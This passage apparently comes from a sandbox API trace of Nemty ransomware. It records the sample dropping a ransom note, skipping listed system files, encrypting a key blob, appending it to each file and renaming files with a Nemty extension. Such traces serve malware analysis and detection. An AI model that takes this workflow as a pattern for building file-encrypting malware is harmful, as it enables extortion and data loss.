lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0182.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0182.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.750] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.750] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0182.751] CloseHandle (hObject=0x254) returned 1 [0182.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0182.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.751] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2090ef70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2090ef70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0182.751] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0182.751] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2090ef70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2090ef70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0182.751] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0182.751] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0182.751] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Accessibility.RUS", cAlternateFileName="ACCESS~1.RUS")) returned 1 [0182.751] lstrcmpiW (lpString1="Accessibility.RUS", lpString2=".") returned 1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="..") returned 1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="...") returned 1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="windows") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="rsa") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="NTDETECT.COM") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="ntldr") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="MSDOS.SYS") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="IO.SYS") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="boot.ini") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="boot.ini") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="AUTOEXEC.BAT") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="ntuser.dat") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="desktop.ini") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="CONFIG.SYS") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="RECYCLER") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="BOOTSECT.BAK") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="bootmgr") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="programdata") returned -1 [0182.752] lstrcmpiW (lpString1="Accessibility.RUS", lpString2="appdata") returned -1 [0182.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUS", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0182.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUS", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.RUS", lpUsedDefaultChar=0x0) returned 17 [0182.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0182.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUS", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0182.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUS", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.RUS", lpUsedDefaultChar=0x0) returned 17 [0182.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0182.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUS", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0182.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUS", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.RUS", lpUsedDefaultChar=0x0) returned 17 [0182.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUS", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0182.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUS", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.RUS", lpUsedDefaultChar=0x0) returned 17 [0182.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.753] Sleep (dwMilliseconds=0x5) [0182.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2095b230, dwHighDateTime=0x1d561e8)) [0182.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2095b230, dwHighDateTime=0x1d561e8)) [0182.774] GetLastError () returned 0xb7 [0182.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.774] GetLastError () returned 0xb7 [0182.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0182.774] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.774] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.774] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.774] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="WtCo5939uFvLv1hQdNqXgGqbHKykGWhIu5P1HJj5gmskTLBUNUnJaQCYaFK2Bh6P\r\nCQ6wT0EDFqrR0UClNPrR13Hk7CCB8UxcB1QwZe2Tnl+49pGK1a7uRG6Sc7g9ZLy5\r\nOns9zrw2O/7fjvTlaMDrVRPn2/hmEtVv72Vg+PYUoNz0zWYCDRV3CQ+D72n6TOmH\r\nd6dMxLaYUu0Rt9lI1Jw5+ESJqdPM48cqiZhWRPZQIBZw0duxj79hbwZU19W7JruE\r\nxbybcRJuFA2LtyIrrnnUoME2SfFUVptnNQJky7M1CU874EV7xm5fm6HQvehAWlGr\r\nKssyaTxxlWuE06JvaKxVvA==\r\n", pcchString=0x653e5dc) returned 1 [0182.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0182.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Accessibility.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\accessibility.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.775] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=44544) returned 1 [0182.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xae00) returned 0x6352c48 [0182.775] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.775] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xae00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xae00, lpOverlapped=0x0) returned 1 [0182.780] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.780] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xae00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xae00, lpOverlapped=0x0) returned 1 [0182.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.780] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=44544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae00 [0182.780] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.780] CloseHandle (hObject=0x2e8) returned 1 [0182.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0182.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0182.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0182.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0182.781] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Accessibility.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\accessibility.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Accessibility.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\accessibility.rus._nemty_kgobjgd_")) returned 1 [0182.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.782] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x65e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.RUS", cAlternateFileName="")) returned 1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2=".") returned 1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="..") returned 1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="...") returned 1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="windows") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="rsa") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="NTDETECT.COM") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="ntldr") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="MSDOS.SYS") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="IO.SYS") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="boot.ini") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="boot.ini") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="AUTOEXEC.BAT") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="ntuser.dat") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="desktop.ini") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="CONFIG.SYS") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="RECYCLER") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="BOOTSECT.BAK") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="bootmgr") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="programdata") returned -1 [0182.782] lstrcmpiW (lpString1="Acroform.RUS", lpString2="appdata") returned -1 [0182.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.RUS", lpUsedDefaultChar=0x0) returned 12 [0182.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.RUS", lpUsedDefaultChar=0x0) returned 12 [0182.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUS", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.RUS", lpUsedDefaultChar=0x0) returned 12 [0182.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUS", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.RUS", lpUsedDefaultChar=0x0) returned 12 [0182.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.783] Sleep (dwMilliseconds=0x5) [0182.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x209a74f0, dwHighDateTime=0x1d561e8)) [0182.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x209a74f0, dwHighDateTime=0x1d561e8)) [0182.800] GetLastError () returned 0x0 [0182.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.800] GetLastError () returned 0x0 [0182.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.800] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.800] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.801] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.801] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 